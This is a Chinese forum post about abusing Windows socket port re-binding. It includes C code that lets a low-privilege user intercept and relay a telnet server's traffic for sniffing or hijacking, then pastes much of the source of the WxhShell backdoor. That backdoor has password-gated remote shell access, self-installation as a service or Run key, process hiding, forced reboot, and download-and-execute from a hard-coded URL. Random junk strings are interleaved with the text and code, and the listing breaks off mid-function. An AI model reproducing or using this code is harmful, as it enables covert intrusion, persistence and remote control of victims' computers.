社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15179阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rnTjw "%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o@tc   
<;nhb  
  saddr.sin_family = AF_INET; H)l7:a  
I Z{DR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l^E)XWd  
c0u1L@tj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YB'BAX<lI  
xnD"LK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?mJ&zf|B8  
0Wc8\c  
  这意味着什么?意味着可以进行如下的攻击: !qF t:{-h  
?_b zg'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V`XtGTx  
+LsACSB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JE.s?k  
|(\T;~7'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @fG 'X  
rW B/#m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Dk`(Wgk2  
r:Rk!z*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }:a:E~5y  
8[xl3=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aJ^RY5  
Pmj%QhOYE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #J09Eka;J  
ZQY?wO: [  
  #include bL]NSD  
  #include |Y&&g=7  
  #include yRv4,{B}X>  
  #include    G2BB]] m3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Kk9W=vd  
  int main() p?XVO#  
  { (N :vDq'  
  WORD wVersionRequested; c}r"O8M  
  DWORD ret; ;o-c.-!F  
  WSADATA wsaData; T1_>qnSz  
  BOOL val; A$Ok^  
  SOCKADDR_IN saddr; T.?}iz=ZEq  
  SOCKADDR_IN scaddr; ]XhX aoqL  
  int err; wY6m^g$h3  
  SOCKET s; 38l 8n.  
  SOCKET sc; kx31g,cf]w  
  int caddsize; 'sT7t&v~  
  HANDLE mt; EwKFT FL  
  DWORD tid;   {kNV|E  
  wVersionRequested = MAKEWORD( 2, 2 ); N(=Z4Nk5  
  err = WSAStartup( wVersionRequested, &wsaData ); ap|$8 G  
  if ( err != 0 ) { T_/ n#e  
  printf("error!WSAStartup failed!\n"); 1E]TH/JK  
  return -1; * faG0le  
  } <Po$|$_~  
  saddr.sin_family = AF_INET; ATscP hk  
   c1aIZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [h[@? 8vB  
-"~XI~a@Wo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9qvKg`YSh  
  saddr.sin_port = htons(23); tqXr6+!Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fobnK~2  
  { @Tz}y"VG  
  printf("error!socket failed!\n"); [H5BIM@{  
  return -1; $~5ax8u&!#  
  } OH/!Ky\@  
  val = TRUE; 6Mh"{N7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #Q'j^y 7=z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V18 A|]k  
  { ^LAnR>mz^r  
  printf("error!setsockopt failed!\n"); &Xh_`*]ox  
  return -1; :^H2D=z@  
  } vMYL( ]e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5VZZk%oy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5DxNHEuS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uyDPWnYk  
@P @{%I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A} v;uNS]  
  { )/cf%  
  ret=GetLastError(); [D_s`'tg  
  printf("error!bind failed!\n"); h h7unHt-  
  return -1; (bp4ly^  
  } |e{ ^Yf4  
  listen(s,2); 7 tQ?av  
  while(1) []b= xRJM  
  { SQs+4YJ  
  caddsize = sizeof(scaddr); n4InZ!)  
  //接受连接请求 p!>DA?vF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /^hc8X  
  if(sc!=INVALID_SOCKET) Aa4 DJ  
  { ~`X$b F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g$ h`.Fk,  
  if(mt==NULL) N.UeuLz  
  { ,xI FF-[0  
  printf("Thread Creat Failed!\n"); 9v@P|  
  break; g1v=a  
  } F4DJML-(  
  } *3\N j6  
  CloseHandle(mt); )m_q2xV  
  } A9Icn>3?`(  
  closesocket(s); S\L^ZH?[2  
  WSACleanup(); `G:I|=#w  
  return 0; *aW:Z6N  
  }   +$$5Cv5#<&  
  DWORD WINAPI ClientThread(LPVOID lpParam) )|wC 1J!L  
  { =A{s,UP  
  SOCKET ss = (SOCKET)lpParam; Pl\NzB,`  
  SOCKET sc; Ruv`yfQ  
  unsigned char buf[4096]; )~-r&Q5d  
  SOCKADDR_IN saddr; 7sq15oL  
  long num; z-N N( G+  
  DWORD val; >!MRk[@ V-  
  DWORD ret; xSrjN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7:e5l19 uI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y_nl9}&+C0  
  saddr.sin_family = AF_INET; GB4^ 4Ajx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B&m6N,  
  saddr.sin_port = htons(23); . ZP$,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lk.Mc6)  
  { {Y|?~ha#  
  printf("error!socket failed!\n"); ,!dVhG#  
  return -1; 3b[.s9Q  
  } K_F"j!0  
  val = 100; GIhX2EvAS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5Nl?Km~  
  { <w3_EO  
  ret = GetLastError(); !v. <H]s)  
  return -1; lYT_Y.%I  
  } MY'T%_i d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B?l 0u  
  { 9Ed=`c  
  ret = GetLastError(); x>tsI}C  
  return -1; SP"t2LTP  
  } Rxlz`&   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B#r"|x#[  
  { Je4hQJ<h  
  printf("error!socket connect failed!\n"); o .( Gja4  
  closesocket(sc); ; )FmN[  
  closesocket(ss); tyFsnc k  
  return -1; 4%#q.qI  
  } c#-*]6x  
  while(1) &H[7UyC  
  { QXW> }GdKZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ca -.&$f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7(d#zu6n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KM?w{ ~9  
  num = recv(ss,buf,4096,0); 5zOC zm  
  if(num>0) mt~E&Z(A  
  send(sc,buf,num,0); E24j(>   
  else if(num==0) i.{.koH<  
  break; Rn)fwGC  
  num = recv(sc,buf,4096,0); OIDP#K  
  if(num>0) rl,i,1t  
  send(ss,buf,num,0); _nM 7SK  
  else if(num==0) Hk'R!X  
  break; 3YG%YhevO  
  } <G'M/IR a  
  closesocket(ss); m d `=2l  
  closesocket(sc); zkquXzlgB  
  return 0 ; b=5ZfhIg[  
  } ~n$\[rQ  
Ehxu`>@N  
:D4'x{#H  
========================================================== ]FgKL0  
iBwM]Eyv.  
下边附上一个代码,,WXhSHELL 1 @i/N  
Nt\0) &b  
========================================================== ^*w}+tB  
"T*1C=  
#include "stdafx.h" sX-@ >%l  
c dWg_WBC  
#include <stdio.h> r'4Dj&9Ac  
#include <string.h> Ww"]3  
#include <windows.h> qeb}~FL"o  
#include <winsock2.h> N<b~,[yCd>  
#include <winsvc.h> [=",R&uD$  
#include <urlmon.h> `Tei  
C80< L5\  
#pragma comment (lib, "Ws2_32.lib") b +Z/nfS  
#pragma comment (lib, "urlmon.lib") Ahc9HA2  
;2$0j1>  
#define MAX_USER   100 // 最大客户端连接数 5WvsS( 9H  
#define BUF_SOCK   200 // sock buffer )7p(htCz5  
#define KEY_BUFF   255 // 输入 buffer ^#IE t#  
Wt=\hixj-  
#define REBOOT     0   // 重启 |AT`(71  
#define SHUTDOWN   1   // 关机 ;/t~MH  
%w?C)$Kn\  
#define DEF_PORT   5000 // 监听端口 WZTAXOw  
FmFjRYA W  
#define REG_LEN     16   // 注册表键长度 J~n|5* cz  
#define SVC_LEN     80   // NT服务名长度 W23Q>x&S  
Te`@{>  
// 从dll定义API e ^,IZ{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |QD#Dx1_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  Q7-iy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !l]_c 5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yZN~A:  
e)N< r  
// wxhshell配置信息 +z:>Nl  
struct WSCFG { /4N?v. jf  
  int ws_port;         // 监听端口 +prUau*  
  char ws_passstr[REG_LEN]; // 口令 ns *:mGh  
  int ws_autoins;       // 安装标记, 1=yes 0=no #SG.`J<%  
  char ws_regname[REG_LEN]; // 注册表键名 v*&j A 8D  
  char ws_svcname[REG_LEN]; // 服务名 Y`#6MhFT7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pmOUl 8y4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9aNOfs8(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (#Xs\IEVF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =z]rZSq*o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &H P g>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |sY  
)0DgFA6k_  
}; E-($Xc  
T "hjL  
// default Wxhshell configuration wph8ln"C-  
struct WSCFG wscfg={DEF_PORT, ;mRZ_^V;  
    "xuhuanlingzhe", oe|8  
    1, b(CO7/e>  
    "Wxhshell", ~y?Nn8+&f  
    "Wxhshell", $VB dd~f  
            "WxhShell Service", dwQ1~  
    "Wrsky Windows CmdShell Service", q]?)c  
    "Please Input Your Password: ", H%etYpD  
  1, G0~Z|P  
  "http://www.wrsky.com/wxhshell.exe", TZ `Ypi7r  
  "Wxhshell.exe" h"/'H)G7_&  
    }; 2W`WOBz  
Xs# _AX  
// 消息定义模块 >{9VXSc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cy)-Rfg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,RM8D)m\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S;jD@j\t&  
char *msg_ws_ext="\n\rExit."; tv`b##  
char *msg_ws_end="\n\rQuit."; 4w#2m>.  
char *msg_ws_boot="\n\rReboot..."; j S[#R_  
char *msg_ws_poff="\n\rShutdown..."; fVf:voh  
char *msg_ws_down="\n\rSave to "; .9WOT ti  
Bs`{qmbC  
char *msg_ws_err="\n\rErr!"; =mF"D:s*  
char *msg_ws_ok="\n\rOK!"; >3pT).wH|M  
TOF V`7q;3  
char ExeFile[MAX_PATH]; RwYFBc  
int nUser = 0; ?{jey_]M  
HANDLE handles[MAX_USER]; &3;"$P  
int OsIsNt; D~BL Txq  
YM6 J:89  
SERVICE_STATUS       serviceStatus; FRajo~H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )QRT/, ;c  
}mzd23^W>P  
// 函数声明 .@%L8_sMR  
int Install(void); nlI3|5  
int Uninstall(void); {I0U 4]  
int DownloadFile(char *sURL, SOCKET wsh); \HkBp& bqK  
int Boot(int flag); l qwy5#  
void HideProc(void); [z ]P5  
int GetOsVer(void); y.}{KQ"a*  
int Wxhshell(SOCKET wsl); ,msP(*qoI  
void TalkWithClient(void *cs); 1G"ohosmF  
int CmdShell(SOCKET sock); *S"RU~1_  
int StartFromService(void); dP(.l}O  
int StartWxhshell(LPSTR lpCmdLine); /d,u"_=l  
 <7SE|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I.G[|[. Do  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HA,8O [jon  
|m6rF7Q  
// 数据结构和表定义 ]s\vc:cc?  
SERVICE_TABLE_ENTRY DispatchTable[] = c61OT@dZEA  
{ `/`iLso& -  
{wscfg.ws_svcname, NTServiceMain}, </D.}ia  
{NULL, NULL} }Hq3]LVE  
}; Ez"*',(  
Y]KHCY  
// 自我安装 `e~i<Pi  
int Install(void) [@5cYeW3.  
{ `2LmLFkb  
  char svExeFile[MAX_PATH]; 2G$p x  
  HKEY key; fP5i3[T  
  strcpy(svExeFile,ExeFile); 5>+@.hPX  
TfT^.p*  
// 如果是win9x系统,修改注册表设为自启动 ?jUgDwc(w  
if(!OsIsNt) { /3Gq&[R{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZO cpF1y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m_CW Vw  
  RegCloseKey(key); ?bt;i>O\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 88,hza`#V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hg<aU*o;  
  RegCloseKey(key); 7)5G 1  
  return 0; _ h5d~  
    } w8R7Ksn(  
  } gd]S;<Jh  
} HcJ!(  
else { o$l8"Uv  
=0] K(p,  
// 如果是NT以上系统,安装为系统服务 y6tqemz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yP"}(!~m  
if (schSCManager!=0) |;xEK nF  
{ JbL3/h]  
  SC_HANDLE schService = CreateService Dy,MQIM|!  
  ( 8s2y!pn7Q  
  schSCManager, U5wh( vi  
  wscfg.ws_svcname, O/FI>RT\H  
  wscfg.ws_svcdisp, [j5+PV  
  SERVICE_ALL_ACCESS, NK/y,f6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yj>4*C9  
  SERVICE_AUTO_START, 6H: fg  
  SERVICE_ERROR_NORMAL, ,b -  
  svExeFile, Anu:  
  NULL, BYMdX J  
  NULL, *#b e  
  NULL, @vyEN.K%mm  
  NULL, 8 yi#] 5`Q  
  NULL d/j?.\  
  ); >'W,8F  
  if (schService!=0) R:&y@/JY8[  
  { ]xMZo){[|  
  CloseServiceHandle(schService); z9 Ch %A{  
  CloseServiceHandle(schSCManager); ~cSXBc,+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); du$M  
  strcat(svExeFile,wscfg.ws_svcname); ?%$O7_ThvA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +aL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;22?-F^  
  RegCloseKey(key); &'&)E((  
  return 0; }xt^}:D  
    } mz%l4w?'  
  } }q]*aADe  
  CloseServiceHandle(schSCManager); }A@:JR+|  
} W)bSLD   
} f3G:J<cL  
BKtb@o~(  
return 1; {[tmz;C  
} yP# Y:s  
.U=x2txb  
// 自我卸载 LEP TL#WT1  
int Uninstall(void) H=,>-eVv*  
{ xok T  
  HKEY key; f4\$<g/~  
jY%.t)>)  
if(!OsIsNt) { au+Jz_$)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yc?L OW0  
  RegDeleteValue(key,wscfg.ws_regname); xtD(tiqh.;  
  RegCloseKey(key); \P+^BG!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]  &"`  
  RegDeleteValue(key,wscfg.ws_regname); }(!Uq  
  RegCloseKey(key); HQ9tvSc  
  return 0; 2"Wq=qy\J  
  } q MrM^ ~  
} v JGH8$%;,  
} -O?HfQ  
else { LH_H yP_  
z"yW):X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R|(X_A  
if (schSCManager!=0) ~Yg) 8  
{ y7:f^4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?2da6v,t  
  if (schService!=0) f!yl&ulKU  
  { 5j.@)XXe  
  if(DeleteService(schService)!=0) { UakVmVN/P  
  CloseServiceHandle(schService); s<#BxN  
  CloseServiceHandle(schSCManager); h7fytO  
  return 0; |3E|VGm~  
  } //|B?4kk  
  CloseServiceHandle(schService); ElpZzGj+  
  } x3FB`3y~s  
  CloseServiceHandle(schSCManager); r2+ZxMo|  
} Z T*}KJm  
} DFQ`(1Q  
kI!@J6  
return 1; 4(P<'FK $  
} F*#!hWtb  
mMXDzAllB  
// 从指定url下载文件 _;5zA"~c#@  
int DownloadFile(char *sURL, SOCKET wsh) de2G"'F  
{ fi>.X99(G  
  HRESULT hr; u;H^4} OQ  
char seps[]= "/"; !y~nsy:&7x  
char *token; * bYU=RS  
char *file; 2>^(&95M  
char myURL[MAX_PATH]; wM N;<  
char myFILE[MAX_PATH]; CQ.C{  
e8dZR3JL  
strcpy(myURL,sURL); ?'a>?al%>  
  token=strtok(myURL,seps); H.XyNtJ  
  while(token!=NULL) qS! Lt3+  
  { Uaux0W  
    file=token; ]U'zy+  
  token=strtok(NULL,seps); s?m_zJh  
  } C4ktCN  
qonStIP  
GetCurrentDirectory(MAX_PATH,myFILE); xLFMC?I  
strcat(myFILE, "\\"); K]B`&ih  
strcat(myFILE, file); |pBFmm*  
  send(wsh,myFILE,strlen(myFILE),0); :TP4f ?FA  
send(wsh,"...",3,0); +{=U!}3|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $eT[`r  
  if(hr==S_OK) ./3/3& 6  
return 0; HxW/t7Z(  
else l lcq~*zz  
return 1; Nb3O> &J  
x?B`p"ifS  
} q:M'|5P  
D`[@7$t  
// 系统电源模块 q1L>nvE  
int Boot(int flag) $Bc3| `K1v  
{ cE`qfz  
  HANDLE hToken; .YvIVQ  
  TOKEN_PRIVILEGES tkp; x 2&5zp  
9eHqOmz  
  if(OsIsNt) { 4@\$k+v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zi`q([  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); > r(`4M:  
    tkp.PrivilegeCount = 1; _i7yyt;h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z?qLn6y1W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1>\V>g9  
if(flag==REBOOT) { |ITCw$T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^Tj{}<yT  
  return 0; 4zhh **]B  
} 2f%+1uU  
else { O>vCi&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hp ;$fQ  
  return 0; NpM;vO  
} j~.tyxOq#  
  } -&1P2m/46  
  else { p>J@"?%^  
if(flag==REBOOT) { PWp=}f.y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  _}JMBIq$  
  return 0; T YR \K  
} 9^H.[t  
else { h,&{m*q&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4Ng:7C2  
  return 0; jHE^d<=O^  
} z#`Qfvu6Hi  
} tUOY`]0  
Nc[N 11?O  
return 1; t OJyj49^a  
} %ueD3;V  
j -"34  
// win9x进程隐藏模块 +Tx_q1/f5X  
void HideProc(void) *fj]L?,  
{ 60ciI,_`  
A\9LJ#E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0uM&F[.x@g  
  if ( hKernel != NULL ) -\B*reC  
  { -e0[$v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -~(d_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HEc.3   
    FreeLibrary(hKernel); J9XH8Grk-  
  } !wEe<],  
hW!n"qU  
return; a @3s71  
} -'D ~nd${  
T4}Wg=UKg  
// 获取操作系统版本 * Wp?0CP  
int GetOsVer(void) \I}EWI  
{ ^ZS!1%1  
  OSVERSIONINFO winfo; @x!+_z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,H.5TQ#  
  GetVersionEx(&winfo); h0dZr-c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [742s]j  
  return 1; b+arnKo1fk  
  else .I#_~C'\  
  return 0; A1Uy|Dl  
} B1U!*yzG6  
GNrRc3dr$  
// 客户端句柄模块 l. cp[  
int Wxhshell(SOCKET wsl) cvT@`1  
{ rx9y^E5T`;  
  SOCKET wsh; ?>V>6cDQ  
  struct sockaddr_in client; YjL'GmL<  
  DWORD myID; v ?,@e5GZ  
I][&*V1  
  while(nUser<MAX_USER) !J@!2S 9  
{ W)T'?b'.  
  int nSize=sizeof(client); b]xoXC6@t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KkpbZ7\@  
  if(wsh==INVALID_SOCKET) return 1; >O rIY  
zv;xxAX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [N9yW uc  
if(handles[nUser]==0) 0&CXR=U5  
  closesocket(wsh); [kxOv7a  
else ]s)Y">6  
  nUser++; oqbz!dM(Z  
  } f2M*]{N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *2vp2xMA@  
~G=E Q]a  
  return 0; v)gMNzt  
} 6=,zkU*i ^  
-$g~,dIwj  
// 关闭 socket K*,,j\Q.  
void CloseIt(SOCKET wsh) ),Yk53G6c  
{ 'PFjZGaKR  
closesocket(wsh); q`L )^In"  
nUser--; 2T(+VeMQ=  
ExitThread(0); 3}mg7KV&  
} Rmn{Vui9\  
r7?nHF  
// 客户端请求句柄 o37oRv]  
void TalkWithClient(void *cs) Pn.DeoHme  
{ {=Jo!t;f  
coPdyw'9&  
  SOCKET wsh=(SOCKET)cs; f##/-NG  
  char pwd[SVC_LEN]; H%rNQxA2 +  
  char cmd[KEY_BUFF]; 5|pF*8*  
char chr[1]; XSK<hr0m  
int i,j; T2azHo7  
~&MDfpl  
  while (nUser < MAX_USER) { 1t^9.!$@y  
> cWE@P  
if(wscfg.ws_passstr) { ]e"!ZR?XJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,!%E\`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cqs.[0 z#B  
  //ZeroMemory(pwd,KEY_BUFF); 7 wEv`5  
      i=0; puWMgvv  
  while(i<SVC_LEN) { TKGaGMx6@  
~@-r  
  // 设置超时 ybFxz  
  fd_set FdRead; ~$[fG}C.K  
  struct timeval TimeOut; q^zG+FN  
  FD_ZERO(&FdRead); -D=Sj@G  
  FD_SET(wsh,&FdRead); kRX?o'U~C  
  TimeOut.tv_sec=8; GGcODjY>  
  TimeOut.tv_usec=0; M1#CB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cVxO\M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <`; {gX1  
f$-n %7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 55$';gh,9  
  pwd=chr[0]; m F+8Q  
  if(chr[0]==0xd || chr[0]==0xa) { !V/\_P!I  
  pwd=0; MY c&  
  break; (F.w?f4B3  
  } #<e D  
  i++; f>ktv76  
    } &Q}%b7  
PO6yE r  
  // 如果是非法用户,关闭 socket vZ srlHb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aD'Ax\-  
} #rBfp|b]1  
U2WHs3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tt{z_gU6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); </xf4.C  
2@2d |  
while(1) { Dg0rVV6c  
;i?2^xe^~c  
  ZeroMemory(cmd,KEY_BUFF); 0hGmOUO  
U Xpp1/d|e  
      // 自动支持客户端 telnet标准   vF'>?O?  
  j=0; ;sAGTq  
  while(j<KEY_BUFF) { wik<# ke  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C|3Xz[k{  
  cmd[j]=chr[0]; ZxT E(BQv  
  if(chr[0]==0xa || chr[0]==0xd) { J!5b~8`v  
  cmd[j]=0; .7b%7dQ<\  
  break; `Z5dRLrd  
  } mR XR uK  
  j++; Y \B6c^E)  
    } .f-=gZ* *  
eh]sye KBj  
  // 下载文件 .lP',hn  
  if(strstr(cmd,"http://")) { VWHpfm[r%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UdnRsp9S  
  if(DownloadFile(cmd,wsh)) 6<fG; :  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MO7R3PP  
  else $m*Gu:#xm&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GCO: !,1  
  } `<>QKpAn  
  else { xYYa%PhIC  
2Zuo).2a.  
    switch(cmd[0]) { '#LzQ6Pn  
  FG{les+:  
  // 帮助 QdQ1+*/+U  
  case '?': { Y.Z:H!P);$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u?dPCgs;h  
    break; U 887@-!3  
  } 'xkl|P>=],  
  // 安装 7f ub^'_  
  case 'i': { =IQ}Y_xr  
    if(Install()) "zd_eC5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "H`Be  
    else _]4 p51r0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pl1CPxSdO  
    break; >J S^yVk  
    } -XV+F@`Md  
  // 卸载 /(5"c>  
  case 'r': { sr&W+4T  
    if(Uninstall()) z rSPa\M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I%a-5f$0  
    else !\BZ_guz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YJ"D"QD  
    break; JVy|SA&R  
    } 0<~~0US  
  // 显示 wxhshell 所在路径 ?-mOAHW0q  
  case 'p': { 6V JudNA  
    char svExeFile[MAX_PATH]; $'Mf$h  
    strcpy(svExeFile,"\n\r"); ;2 &"  
      strcat(svExeFile,ExeFile); breF,d$  
        send(wsh,svExeFile,strlen(svExeFile),0); LAf#Rco4  
    break; O=}Rp 1  
    } 1a{r1([)  
  // 重启 !vRZh('R  
  case 'b': { b-  t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `}=R  
    if(Boot(REBOOT)) Qm[s"pM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q: FhuOP  
    else { FV "pJ  
    closesocket(wsh); 4FRi=d;mP  
    ExitThread(0); ~,1Sw7 rE  
